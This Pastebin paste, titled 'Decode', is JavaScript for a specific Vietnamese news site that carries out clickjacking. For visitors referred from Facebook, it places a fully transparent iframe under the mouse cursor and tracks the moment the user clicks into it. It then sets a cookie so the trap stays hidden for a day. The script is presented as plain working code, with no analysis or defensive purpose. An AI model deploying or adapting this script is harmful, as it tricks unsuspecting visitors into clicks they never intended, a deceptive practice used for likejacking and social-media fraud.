PhieuLang

Decode

Apr 23rd, 2015
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var HostName = document.location.hostname.toLowerCase();
  2. var cpy_hv_gocfuny = "hoangbv9019";
  3. if (HostName.indexOf("tintucvuicuoi.com") >= 0 && HostName.indexOf("tintucvuicuoi") >= 0 && cpy_hv_gocfuny.indexOf("hoangbv9019") >= 0) {
  4.     var rd = (Math.floor(Math.random() * (3 - 1 + 1)) + 1);
  5.     var nameid = "container1";
  6.  
  7.     function addEvent(obj, eventName, func) {
  8.         if (obj.attachEvent) {
  9.             obj.attachEvent("on" + eventName, func);
  10.         } else if (obj.addEventListener) {
  11.             obj.addEventListener(eventName, func, true);
  12.         } else {
  13.             obj["on" + eventName] = func;
  14.         }
  15.     }
  16.  
  17.     function Get_Cookie(name) {
  18.         var start = document.cookie.indexOf(name + "=");
  19.         var len = start + name.length + 1;
  20.         if ((!start) && (name != document.cookie.substring(0, name.length))) {
  21.             return null;
  22.         }
  23.         if (start == -1) return null;
  24.         var end = document.cookie.indexOf(";", len);
  25.         if (end == -1) end = document.cookie.length;
  26.         return unescape(document.cookie.substring(len, end));
  27.     }
  28.     if (Get_Cookie("hoanganh") != 5) {
  29.         if (document.referrer.indexOf("facebook") >= 0) {
  30.             var fan_page_url = '';
  31.             opacity = 0;
  32.             var time = 3000000;
  33.             if ((document.getElementById) && window.addEventListener || window.attachEvent) {
  34.                 (function() {
  35.                     var hairCol = "#ff0000";
  36.                     var d = document;
  37.                     var my = -10;
  38.                     var mx = -10;
  39.                     var r;
  40.                     var vert = "";
  41.                     var idx = document.getElementsByTagName('div').length;
  42.                     var allLinks = document.links;
  43.                     var url = allLinks[(Math.floor(Math.random() * (allLinks.length - 1 + 1)) + 1)].href;
  44.                     var thehairs = "<div id='thecontainer' style='background-color:red;position:absolute;z-index:99999999;width:40px;height:20px;overflow:hidden;border:0;opacity:" + opacity + ";filter:alpha(opacity=" + opacity * 100 + ");'><div class='social' style='width:1000px;height:500px;margin-left:-830px;margin-top:-235px;' id='thecontainer1'><iframe scrolling='no' frameBorder='0' allowTransparency='true' src='" + url + "' style='width:1000px;height:500px;z-index:99999999;'></iframe></div></div>";
  45.                     document.write(thehairs);
  46.                     var like = document.getElementById("thecontainer");
  47.                     document.getElementsByTagName('body')[0].appendChild(like);
  48.                     jQuery(document).ready(function($) {
  49.                         if (timerpop > 0) {
  50.                             $('#fanback').delay(timerpop).fadeIn('medium');
  51.                             $('#fanclose, #fan-exit').click(function() {
  52.                                 $('#fanback').stop().fadeOut('medium');
  53.                             });
  54.                         }
  55.                     });
  56.                     var pix = "px";
  57.                     var domWw = (typeof window.innerWidth == "number");
  58.                     var domSy = (typeof window.pageYOffset == "number");
  59.                     setTimeout(function() {
  60.                         if (domWw)
  61.                             r = window;
  62.                         else {
  63.                             if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
  64.                                 r = d.documentElement;
  65.                             else {
  66.                                 if (d.body && typeof d.body.clientWidth == "number")
  67.                                     r = d.body;
  68.                             }
  69.                         }
  70.                     }, 500)
  71.                     if (time != 0) {
  72.                         setTimeout(function() {
  73.                             document.getElementsByTagName('body')[0].removeChild(like);
  74.                             if (window.addEventListener) {
  75.                                 document.removeEventListener("mousemove", mouse, false);
  76.                             } else if (window.attachEvent) {
  77.                                 document.detachEvent("onmousemove", mouse);
  78.                             }
  79.                         }, time);
  80.                     }
  81.  
  82.                     function scrl(yx) {
  83.                         var y, x;
  84.                         if (domSy) {
  85.                             y = r.pageYOffset;
  86.                             x = r.pageXOffset;
  87.                         } else {
  88.                             y = r.scrollTop;
  89.                             x = r.scrollLeft;
  90.                         }
  91.                         return (yx == 0) ? y : x;
  92.                     }
  93.  
  94.                     function mouse(e) {
  95.                         var msy = (domSy) ? window.pageYOffset : 0;
  96.                         if (!e)
  97.                             e = window.event;
  98.                         if (typeof e.pageY == 'number') {
  99.                             my = e.pageY - 5 - msy;
  100.                             mx = e.pageX - 4;
  101.                         } else {
  102.                             my = e.clientY - 6 - msy;
  103.                             mx = e.clientX - 6;
  104.                         }
  105.                         vert.top = my + scrl(0) + pix;
  106.                         vert.left = mx + pix;
  107.                     }
  108.  
  109.                     function ani() {
  110.                         vert.top = my + scrl(0) + pix;
  111.                         setTimeout(ani, 300);
  112.                     }
  113.  
  114.                     function init() {
  115.                         vert = document.getElementById("thecontainer").style;
  116.                         ani();
  117.                     }
  118.                     if (window.addEventListener) {
  119.                         window.addEventListener("load", init, false);
  120.                         document.addEventListener("mousemove", mouse, false);
  121.                     } else if (window.attachEvent) {
  122.                         window.attachEvent("onload", init);
  123.                         document.attachEvent("onmousemove", mouse);
  124.                     }
  125.                 })();
  126.             }
  127.         }
  128.     } else {}(function($) {
  129.         $.fn.iframeTracker = function(handler) {
  130.             $.iframeTracker.handlersList.push(handler);
  131.             $(this).bind('mouseover', {
  132.                 handler: handler
  133.             }, function(e) {
  134.                 e.data.handler.over = true;
  135.                 try {
  136.                     e.data.handler.overCallback(this);
  137.                 } catch (ex) {}
  138.             }).bind('mouseout', {
  139.                 handler: handler
  140.             }, function(e) {
  141.                 e.data.handler.over = false;
  142.                 try {
  143.                     e.data.handler.outCallback(this);
  144.                 } catch (ex) {}
  145.             });
  146.         };
  147.         $.iframeTracker = {
  148.             focusRetriever: null,
  149.             focusRetrieved: false,
  150.             handlersList: [],
  151.             isIE8AndOlder: false,
  152.             init: function() {
  153.                 try {
  154.                     if ($.browser.msie == true && $.browser.version < 9) {
  155.                         this.isIE8AndOlder = true;
  156.                     }
  157.                 } catch (ex) {
  158.                     try {
  159.                         var matches = navigator.userAgent.match(/(msie)([\w.]+)/i);
  160.                         if (matches[2] < 9) {
  161.                             this.isIE8AndOlder = true;
  162.                         }
  163.                     } catch (ex2) {}
  164.                 }
  165.                 $(window).focus();
  166.                 $(window).blur(function(e) {
  167.                     $.iframeTracker.windowLoseFocus(e);
  168.                 });
  169.                 $('body').append('<div style="position:fixed; top:0; left:0; overflow:hidden;"><input style="position:absolute; left:-300px;" type="text" value="" id="focus_retriever" /></div>');
  170.                 this.focusRetriever = $('#focus_retriever');
  171.                 this.focusRetrieved = false;
  172.                 $(document).mousemove(function(e) {
  173.                     if (document.activeElement.tagName == 'IFRAME') {
  174.                         $.iframeTracker.focusRetriever.focus();
  175.                         $.iframeTracker.focusRetrieved = true;
  176.                     }
  177.                 });
  178.                 if (this.isIE8AndOlder) {
  179.                     this.focusRetriever.blur(function(e) {
  180.                         e.stopPropagation();
  181.                         e.preventDefault();
  182.                         $.iframeTracker.windowLoseFocus(e);
  183.                     });
  184.                 }
  185.                 if (this.isIE8AndOlder) {
  186.                     $('body').click(function(e) {
  187.                         $(window).focus();
  188.                     });
  189.                     $('form').click(function(e) {
  190.                         e.stopPropagation();
  191.                     });
  192.                 }
  193.             },
  194.             windowLoseFocus: function(event) {
  195.                 for (var i in this.handlersList) {
  196.                     if (this.handlersList[i].over == true) {
  197.                         try {
  198.                             this.handlersList[i].blurCallback();
  199.                         } catch (ex) {}
  200.                     }
  201.                 }
  202.             }
  203.         };
  204.         $(document).ready(function() {
  205.             $.iframeTracker.init();
  206.         });
  207.     })(jQuery);
  208.     jQuery(document).ready(function($) {
  209.         $('.social iframe').iframeTracker({
  210.             blurCallback: function() {
  211.                 setTimeout(function() {
  212.                     document.getElementById("thecontainer").setAttribute('style', 'margin-top: -200px; background-color: red; position: absolute; z-index: 99999999; width: 40px; height: 20px; overflow: hidden; border: 0px none; opacity: 0; top: 305px; left: 345px;');
  213.                     $('#fanback').stop().fadeOut('medium');
  214.                     var today = new Date();
  215.                     var expires = 3600000 * 24 * 1;
  216.                     var expires_date = new Date(today.getTime() + (expires));
  217.                     document.cookie = "hoanganh=5;expires=" + expires_date.toGMTString();
  218.                 }, 1000)
  219.                 w.blur();
  220.                 window.focus();
  221.             }
  222.         });
  223.         $('.iframetrack iframe').iframeTracker({
  224.             blurCallback: function() {
  225.                 $('<div class="alert alert-info">').html('Click on iframe : #' + this._overId).appendTo('#consoleDebug').delay(3000).fadeOut();
  226.             },
  227.             overCallback: function(element) {
  228.                 this._overId = $(element).parents('.iframetrack').attr('id');
  229.             },
  230.             outCallback: function(element) {
  231.                 this._overId = null;
  232.             },
  233.             _overId: null
  234.         });
  235.     });
  236. }
Advertisement
Add Comment
Please, Sign In to add comment